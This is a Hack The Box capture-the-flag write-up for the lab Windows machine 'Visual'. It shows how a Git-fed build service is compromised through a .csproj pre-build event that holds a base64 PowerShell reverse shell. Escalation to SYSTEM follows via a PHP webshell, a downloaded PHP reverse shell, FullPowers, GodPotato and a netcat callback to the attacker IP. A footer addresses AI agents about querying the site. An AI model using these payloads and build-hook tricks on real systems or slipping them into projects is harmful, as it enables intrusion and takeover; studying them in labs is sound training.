# Visual

## Box info

<figure><img src="/files/RtJvzgg6ZSbL1vp1jlN1" alt="" width="563"><figcaption></figcaption></figure>

### Nmap

Let's start by enumerating open ports using `Nmap`:

```
szczygielka@hacks$ nmap -sCV -p- 10.129.210.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 14:48 EST
Nmap scan report for 10.129.210.129
Host is up (0.038s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.08 seconds
```

The `Nmap` output shows that only one port is open, it is port 80 with an `Apache` HTTP server.&#x20;

### Exploring website

Let's visit the website located at `http://10.129.210.129/` using a web browser.&#x20;

<figure><img src="/files/k5aSZtr8g4HPPqze3Pls" alt=""><figcaption></figcaption></figure>

The website appears to allow the compilation of projects in C# and .NET 6.0 platforms. The description on this website suggests that when you upload a link to a Git repository, it compiles the project on the remote machine, and then returns an executable or DDL files.

Let's try to verify whether the functionality of the downloading project works. Let's run the Python HTTP server:

```
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Let's provide a link to our fake repository and click `Submit` button:

<figure><img src="/files/bR6OGHC0xTuhDiWxSHAQ" alt=""><figcaption></figcaption></figure>

After pressing the button, we are redirected to the following page:&#x20;

<figure><img src="/files/xyWdv5njW4ivCoX11Yez" alt="" width="560"><figcaption></figcaption></figure>

The Python HTTP server indicates that the target machine tried unsuccessfully to download the file:

```
10.129.210.129 - - [26/Feb/2024 16:12:51] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 16:12:51] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -
```

After some time we receive the following error:

<figure><img src="/files/dLcFIHzpa2fvUkwSptyT" alt="" width="557"><figcaption></figcaption></figure>

Based on the test performed, we already know that this machine is actually trying to download the contents of the Git repository. Cloning the repository seems to work. Now let's test whether the ability to compile projects works. Create an actual Git repository containing a Visual Studio project in C#. Sample .NET 6.0 project we can find in this repository:

{% embed url="<https://github.com/hgmauri/sample-dotnet6>" %}

We can clone the repository by the following command:

```
szczygielka@hacks$ git clone https://github.com/hgmauri/sample-dotnet6.git
Cloning into 'sample-dotnet6'...
remote: Enumerating objects: 88, done.
remote: Counting objects: 100% (88/88), done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 88 (delta 30), reused 68 (delta 17), pack-reused 0
Receiving objects: 100% (88/88), 14.27 KiB | 4.76 MiB/s, done.
Resolving deltas: 100% (30/30), done.
```

Let's go to the `.git` directory contained in the solution we downloaded:

```
szczygielka@hacks$ cd sample-dotnet6/.git
```

Let's run the following command in this directory:&#x20;

```
szczygielka@hacks$ git --bare update-server-info
```

According to the [documentation](https://git-scm.com/docs/git-update-server-info), this command updates auxiliary info files to help dumb servers. The [information ](https://stackoverflow.com/questions/2085402/what-does-git-update-server-info-do)available on Stack Overflow indicates that as a dumb server, we can understand all servers containing Git repositories with access over HTTP and every Git repository hosted by this dump server needs to have this command. This command should be executed always after committing changes in a Git repository.&#x20;

Start the Python HTTP server in this directory as well:

```
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

In another terminal window we can check whether cloning the repository is working properly:

```
szczygielka@hacks$ git clone http://10.10.14.73
Cloning into '10.10.14.73'...
```

Cloning seems to be working fine. We can now upload a link to our repository and try to build the project. After providing the link to the Git repository, we can see that the files have been downloaded from the server:

```
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /info/refs?service=git-upload-pack HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /HEAD HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/05/306218f2ae3b2ff0d792aa291e31026cd56a1e HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/http-alternates HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/alternates HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/packs HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/pack/pack-78ee276625fb2c6e317559f4170c4c6c33bd9946.idx HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/pack/pack-78ee276625fb2c6e317559f4170c4c6c33bd9946.pack HTTP/1.1" 200 -
```

It turns out that the project build failed:

<figure><img src="/files/DKSWPnAhxkVJFDRBGbt7" alt=""><figcaption></figcaption></figure>

&#x20;However, the errors received show that this project is actually being built:

<figure><img src="/files/6z9nhUdgv4H86gxe0DcI" alt=""><figcaption></figcaption></figure>

Maybe a successful project build won't be necessary. Let's see if we can somehow use the project compilation process in Visual Studio to remote code execution. From [information](https://stackoverflow.com/questions/22611951/untrustworthy-projects-in-visual-studio) on Stack Overflow, we find out about possible attack vectors for Visual Studio, one of them is the use of pre-build events. Using this attack vector does not force us to build the project correctly because the malicious code should be executed before the project is compiled. Information found on the Internet indicates that in the case of Visual Studio projects, information about the pre-build event should be included in the project file.

From the Microsoft [documentation](https://learn.microsoft.com/en-us/aspnet/web-forms/overview/deployment/web-deployment-in-the-enterprise/understanding-the-project-file), we find out that when solutions are created and built-in Visual Studio, Visual Studio uses MSBuild to build each project in your solution. Every Visual Studio project includes an MSBuild project file, which is an XML document that contains all the information and instructions that MSBuild needs to build a project, like the content to include, the platform requirements, versioning information, etc., and also build events. The extension of the MSBuild project file depends on the project type, in the case of a C# project it is `.csproj` file. In our case project file is the file `Sample.DotNet6.Api.csproj`. The [documentation](https://learn.microsoft.com/en-us/visualstudio/ide/how-to-specify-build-events-csharp?view=vs-2022) of building events contains examples of how to add a pre-build event to the project file. We can do this by adding the following lines of code to the `Sample.DotNet6.Api.csproj` file:

```
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="commands to execute" />
</Target>
```

Let's search for payload, which should allow us to get a reverse shell. In this case, we will use payload PowerShell #3 (Base64), which can be generated [here](https://www.revshells.com/). Let's add the payload to the `Sample.DotNet6.Api.csproj` file:

{% code overflow="wrap" %}

```
<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFramework>net6.0</TargetFramework>
    <LangVersion>preview</LangVersion>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="Microsoft.OpenApi" Version="1.3.0-preview" />
    <PackageReference Include="Swashbuckle.AspNetCore" Version="6.2.1" />
  </ItemGroup>

  <ItemGroup>
    <ProjectReference Include="..\Sample.DotNet6.Api.Core\Sample.DotNet6.Api.Core.csproj" />
  </ItemGroup>

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" />
</Target>

</Project>

```

{% endcode %}

Then, in the solution directory, let's commit the changes made to the file to update the repository:

```
szczygielka@hacks$ git add .
szczygielka@hacks$ git commit -m "very important changes connected with security"
[main ef0395f] very important changes connected with security
 1 file changed, 4 insertions(+)
```

After that in the `.git` catalog we have to update information for the server, by executing this command:

```
git --bare update-server-info
```

Once in the `.git` directory, let's run the HTTP server to host our solution:

```
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Let's run the listener on the port that we included in the payload:

```
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
```

and provide a link to our repository:

<figure><img src="/files/Td843LgwsxH6bXcXOfQt" alt=""><figcaption></figcaption></figure>

After a while, we get a connection in the listener:

```
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.229.122] 49753
PS C:\Windows\Temp\c56a71ba2dd10196a99bbeaaf883bd\src\Sample.DotNet6.Api> 
```

We have obtained a reverse shell as a user `enox`:

```
PS C:\Windows\Temp\c56a71ba2dd10196a99bbeaaf883bd\src\Sample.DotNet6.Api> whoami
visual\enox
```

### User flag

The `user.txt` flag can be found in `C:\Users\enox\Desktop`.

## Privilege escalation

### Shell as LocalService

In the `C:\` directory we find `xampp`:

```
PS C:\> dir
    Directory: C:\
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        11/5/2022  12:03 PM                PerfLogs                                                              
d-r---        6/10/2023  11:00 AM                Program Files                                                         
d-----        6/10/2023  10:51 AM                Program Files (x86)                                                   
d-r---        6/10/2023  10:59 AM                Users                                                                 
d-----        9/19/2023   6:44 AM                Windows                                                               
d-----        6/10/2023  10:32 AM                xampp 
```

XAMPP is an Apache distribution containing MariaDB, PHP, and Perl. The web root directory is located at `C:/xampp/htdocs/`. All files placed in this directory should be processed by the web server. Let's go to this directory. Now let's create a simple web shell to find out what permissions this web server is running with:

```
Set-Content -Path webshell.php -Value "<?php echo shell_exec(`$_GET['cmd'].' 2>&1'); ?>"
```

Opening the `webshell.php` file and setting the `cmd` parameter value to `whoami`, we find out that the PHP server works as `local service`:

<figure><img src="/files/xhEz6v5oy7fAFbGCiVG0" alt=""><figcaption></figcaption></figure>

So we can get a reverse shell as a `local service`. We will use Ivan Sincek's PHP reverse shell from [here](https://www.revshells.com/). We can prepare the `revshell.php` file on our attacking machine and run the Python HTTP server. First, prepare the listener on the selected port:&#x20;

```
szczygielka@hacks$ nc -lnvp 8080
```

Then run the Python HTTP server:

```
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Download the `revshell.php` to the target machine:&#x20;

```
PS C:\xampp\htdocs> wget http://10.10.14.73:80/revshell.php -OutFile revshell.php
```

By going to the address we run the script:

```
http://10.129.210.129/revshell.php
```

We have a connection:&#x20;

```
szczygielka@hacks$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.12] 49697
SOCKET: Shell has connected! PID: 2428
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>
```

As we expect, we are `local service` user:

```
C:\xampp\htdocs>whoami
nt authority\local service
```

Let's check what permissions have been assigned to this account:

```
C:\xampp\htdocs>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

According to the Microsoft [documentation](https://learn.microsoft.com/en-us/windows/win32/services/localservice-account), the current permissions assigned to the local service account are not the default permissions for this account. To try to restore the default permissions for this account, we can use the `FullPowers` tool:&#x20;

{% embed url="<https://github.com/itm4n/FullPowers>" %}

Let's download the `FullPowers.exe` executable file to our attacking machine from the release page, and then run the Python server:

```
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Then, on the attacking machine, run the PowerShell console and download the file:

```
PS C:\xampp\htdocs> wget http://10.10.14.73:80/FullPowers.exe -OutFile FullPowers.exe
```

Let's execute the downloaded `FullPowers.exe` file:

```
PS C:\xampp\htdocs> .\FullPowers.exe
[+] Started dummy thread with id 3056
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
```

&#x20;Enumerate our rights again:

```
C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

```

We recovered the default privilege set. One of the privileges we now have is `SeImpersonatePrivilege`. This privilege can be used to further elevate privileges to obtain access as the `system` user. To try to increase our rights and get a reverse shell as the`system` user, we use the `GodPotato` tool:

{% embed url="<https://github.com/BeichenDream/GodPotato>" %}

Let's download the `GodPotato-NET4.exe` file from the `Release` section to the attacking machine and then rename it:

```
szczygielka@hacks$ mv GodPotato-NET4.exe GodPotato.exe
```

Let's also download Netcat for Windows on the attacking machine. Netcat we will need a target machine to get the reverse shell. Then let's run the listener:

```
szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...
```

Now let's download Netcat to the target machine:

{% code fullWidth="false" %}

```
PS C:\xampp\htdocs> wget http://10.10.14.73:80/nc64.exe -OutFile nc64.exe 
```

{% endcode %}

and GodPotao:

```
PS C:\xampp\htdocs> wget http://10.10.14.73:80/GodPotato.exe -OutFile GodPotato.exe 
```

Let's run `GodPotato.exe`, with a command that should allow us to get a reverse shell:

```
PS C:\xampp\htdocs> .\GodPotato.exe -cmd "nc64.exe 10.10.14.73 9000 -e powershell"
[*] CombaseModule: 0x140736268468224
[*] DispatchTable: 0x140736270774384
[*] UseProtseqFunction: 0x140736270150560
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\dccb8b02-aea8-477d-aa76-82ba577fe2b3\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00001002-0b7c-ffff-561c-c85dc0e25dce
[*] DCOM obj OXID: 0x18b6a98ee0d46e6c
[*] DCOM obj OID: 0xb1ecda27ac059889
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x808  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2896
```

We get a reverse shell :

```
szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.12] 49766
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
```

After executing the `whoami` command, we see that we have received a reverse shell as the user `system`:

```
PS C:\xampp\htdocs> whoami
nt authority\system
```

## Root flag

The root flag can be obtained at `C:\Users\Administrator\Desktop`.&#x20;

```
PS C:\Users\Administrator\Desktop> dir
dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/28/2024  10:30 AM             34 root.txt   
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://szczygielka.gitbook.io/writeups/hack-the-box-writeups/windows-machines/visual.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
